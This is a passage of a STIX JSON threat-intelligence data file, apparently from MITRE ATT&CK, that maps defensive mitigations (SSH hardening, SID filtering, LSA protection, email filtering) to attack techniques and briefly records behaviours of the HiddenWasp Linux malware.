            "created": "2019-06-24T10:53:12.345Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
            "relationship_type": "mitigates",
            "description": "Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered.",
            "id": "relationship--b2cf0663-fd8e-4ca5-988a-dfec3c8a33f0",
            "type": "relationship",
            "modified": "2020-01-15T18:02:50.130Z",
            "created": "2019-06-24T10:56:40.113Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "relationship_type": "mitigates",
            "description": "Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently.",
            "id": "relationship--886bb26b-0fbb-44da-bc03-b451a3eb3840",
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.391Z",
            "created": "2019-06-24T11:01:58.813Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "relationship_type": "mitigates",
            "description": "Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.",
            "id": "relationship--ec456b9e-db3e-44df-8288-adf086a0c0bb",
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.429Z",
            "created": "2019-06-24T11:01:58.826Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "relationship_type": "mitigates",
            "description": "Do not allow remote access via SSH as root or other privileged accounts.",
            "id": "relationship--709814dc-61e0-439b-8793-5d4d59a19030",
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.498Z",
            "created": "2019-06-24T11:01:58.829Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "relationship_type": "mitigates",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.",
            "id": "relationship--fa977c5a-8fde-4511-998c-954c946c6cd0",
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.432Z",
            "created": "2019-06-24T11:01:58.843Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "relationship_type": "mitigates",
            "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
            "id": "relationship--9244439a-5c10-4645-b71d-97bf602cb509",
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent",
                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
                    "source_name": "Symantec SSH and ssh-agent"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.442Z",
            "created": "2019-06-24T11:01:58.844Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
            "relationship_type": "mitigates",
            "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.",
            "id": "relationship--f1883831-ea71-4e27-ab6a-aa10a7fd7df4",
            "type": "relationship",
            "modified": "2020-03-02T19:30:53.663Z",
            "created": "2019-06-24T11:09:56.500Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
            "relationship_type": "mitigates",
            "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.",
            "id": "relationship--b5c8909c-3fe2-4dbf-bf8a-c620ddfe2bed",
            "type": "relationship",
            "modified": "2020-03-02T19:30:53.665Z",
            "created": "2019-06-24T11:09:56.517Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9",
            "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
            "relationship_type": "mitigates",
            "description": "Anti-virus can also automatically quarantine suspicious files.",
            "id": "relationship--a408e9fc-44fb-4563-a86f-2eb17ff0832d",
            "type": "relationship",
            "modified": "2020-03-02T19:30:53.666Z",
            "created": "2019-06-24T11:09:56.519Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba",
            "relationship_type": "mitigates",
            "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.",
            "id": "relationship--93669ebc-ea8d-4f76-94c8-4f8d1679b123",
            "type": "relationship",
            "modified": "2020-03-02T19:21:35.312Z",
            "created": "2019-06-24T11:11:18.378Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "relationship_type": "mitigates",
            "description": "Users can be trained to identify social engineering techniques and spearphishing emails.",
            "id": "relationship--ce68b332-ac44-472e-81b9-6cffe7ff11a2",
            "type": "relationship",
            "modified": "2020-03-02T19:08:18.066Z",
            "created": "2019-06-24T11:14:20.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "relationship_type": "mitigates",
            "description": "Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
            "id": "relationship--87b35c42-a798-461b-a58e-2e2d9ea45354",
            "type": "relationship",
            "modified": "2020-03-02T19:08:18.063Z",
            "created": "2019-06-24T11:14:20.476Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9",
            "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "relationship_type": "mitigates",
            "description": "Anti-virus can also automatically quarantine suspicious files.",
            "id": "relationship--0bb376d8-f73c-404f-a1bc-9a89c6b7a435",
            "type": "relationship",
            "modified": "2020-03-02T19:08:18.090Z",
            "created": "2019-06-24T11:14:20.493Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "relationship_type": "mitigates",
            "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.",
            "id": "relationship--2efc4972-6779-4a5c-a18a-db3c64623b8c",
            "type": "relationship",
            "modified": "2020-03-02T19:08:18.088Z",
            "created": "2019-06-24T11:14:20.495Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9",
            "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
            "relationship_type": "mitigates",
            "description": "Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware.",
            "id": "relationship--eb7829cd-ff2e-4dc5-87e7-9006327472e1",
            "type": "relationship",
            "modified": "2020-02-05T14:18:21.931Z",
            "created": "2019-06-24T11:20:24.073Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented. ",
            "id": "relationship--b9dcc8d0-11c5-4be1-a7a2-ab1b4e5c32a7",
            "type": "relationship",
            "modified": "2020-02-05T19:35:59.194Z",
            "created": "2019-06-24T11:31:34.656Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "relationship_type": "mitigates",
            "description": "Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.",
            "id": "relationship--e6a535c6-de5f-4bd2-8cfe-afbf232c1c5b",
            "type": "relationship",
            "modified": "2020-02-05T19:35:59.203Z",
            "created": "2019-06-24T11:31:34.660Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "relationship_type": "mitigates",
            "description": "Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.",
            "id": "relationship--994dd6b7-c209-41b4-af96-d9e9604043d4",
            "type": "relationship",
            "modified": "2020-02-05T19:35:59.211Z",
            "created": "2019-06-24T11:31:34.681Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe",
            "relationship_type": "mitigates",
            "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--54d2ea67-40fd-4fbc-b76a-01879aa5bff5",
            "type": "relationship",
            "modified": "2020-06-20T22:39:47.681Z",
            "created": "2019-06-24T11:33:53.013Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "relationship_type": "mitigates",
            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust",
            "id": "relationship--6e7ec1a3-853f-40b5-8dc2-fc8d5b46b241",
            "external_references": [
                {
                    "source_name": "Microsoft Trust Considerations Nov 2014",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc755321.aspx"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc794757.aspx",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc835085.aspx",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Netdom Trust Sept 2012"
                },
                {
                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "url": "https://adsecurity.org/?p=1640"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-18T18:35:21.842Z",
            "created": "2019-06-24T11:48:11.099Z"
        },
        {
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            "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "relationship_type": "mitigates",
            "description": "Disable execution on directories within the webroot. Ensure proper permissions on directories that are accessible through a Web server.",
            "id": "relationship--ba8f0270-a378-4b78-9e67-8dbc70df1fb8",
            "type": "relationship",
            "modified": "2020-03-30T13:56:55.578Z",
            "created": "2019-06-24T12:02:18.652Z"
        },
        {
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            "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "relationship_type": "mitigates",
            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit unauthenticated network share access and network/system isolation",
            "id": "relationship--23033ca9-166b-47c0-b6f5-c69926885927",
            "type": "relationship",
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        },
        {
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            "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "relationship_type": "mitigates",
            "description": "Disallow remote access to the webroot or other directories used to serve Web content.",
            "id": "relationship--58b119e2-9636-4446-93f1-f75468963935",
            "type": "relationship",
            "modified": "2020-03-30T13:56:55.572Z",
            "created": "2019-06-24T12:02:18.674Z"
        },
        {
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            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.",
            "id": "relationship--a0a004fe-2636-4f6d-85c7-2401768252a2",
            "type": "relationship",
            "modified": "2020-07-14T19:47:47.062Z",
            "created": "2019-06-24T12:03:02.500Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "relationship_type": "mitigates",
            "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)",
            "id": "relationship--4867dbb4-1e1b-45f6-9070-8e2c0c303638",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx",
                    "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.",
                    "source_name": "TechNet Firewall Design"
                }
            ],
            "type": "relationship",
            "modified": "2020-05-14T13:05:39.706Z",
            "created": "2019-06-24T12:06:10.358Z"
        },
        {
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            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.",
            "id": "relationship--7bdcd3e6-f741-4f62-9495-3111309adad8",
            "type": "relationship",
            "modified": "2020-03-15T15:37:58.054Z",
            "created": "2019-06-24T12:06:10.365Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
            "relationship_type": "mitigates",
            "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.",
            "id": "relationship--cbcf3820-85c9-4e09-a9a0-729fdfd11fd6",
            "type": "relationship",
            "modified": "2020-02-05T20:09:23.054Z",
            "created": "2019-06-24T12:06:41.416Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.",
            "id": "relationship--38db9ff6-2f56-48cc-b42e-819c6bcca25b",
            "type": "relationship",
            "modified": "2020-03-19T15:12:13.285Z",
            "created": "2019-06-24T12:10:26.797Z"
        },
        {
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            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
            "relationship_type": "mitigates",
            "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.",
            "id": "relationship--07be2a52-df69-4d03-aca6-e3d136eefc04",
            "type": "relationship",
            "modified": "2020-03-10T18:34:39.946Z",
            "created": "2019-06-24T12:13:11.562Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1",
            "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "relationship_type": "mitigates",
            "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "id": "relationship--2b59d554-377b-41f5-a991-70f5a4ff3f69",
            "external_references": [
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T17:35:47.840Z",
            "created": "2019-06-24T12:15:30.419Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-28T00:26:48.871Z",
            "created": "2019-06-24T12:15:33.150Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "relationship_type": "mitigates",
            "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)",
            "id": "relationship--0f0e72e6-cac4-4840-b576-92a5105bda40",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T16:48:51.325Z",
            "created": "2019-06-24T13:02:09.329Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) installs reboot persistence by adding itself to <code>/etc/rc.local</code>.(Citation: Intezer HiddenWasp Map 2019)",
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            "type": "relationship",
            "modified": "2021-01-07T19:40:45.120Z",
            "created": "2019-06-24T13:13:57.195Z"
        },
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            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.197Z",
            "created": "2019-06-24T13:13:57.215Z"
        },
        {
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            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) encrypts its configuration and payload.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--d13ea010-1b69-40d4-8d86-6fe2053f59d2",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.220Z",
            "created": "2019-06-24T13:13:57.218Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a script to automate tasks on the victim's machine and to assist in execution.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--a311f17e-9f17-4f4d-b316-d844c0a0f1d2",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.257Z",
            "created": "2019-06-24T13:13:57.230Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) communicates with a simple network protocol over TCP.(Citation: Intezer HiddenWasp Map 2019)",
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            "id": "relationship--55b8f35b-7ccc-4da7-9ab1-40fe148cd182",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.261Z",
            "created": "2019-06-24T13:13:57.241Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "external_references": [
                {
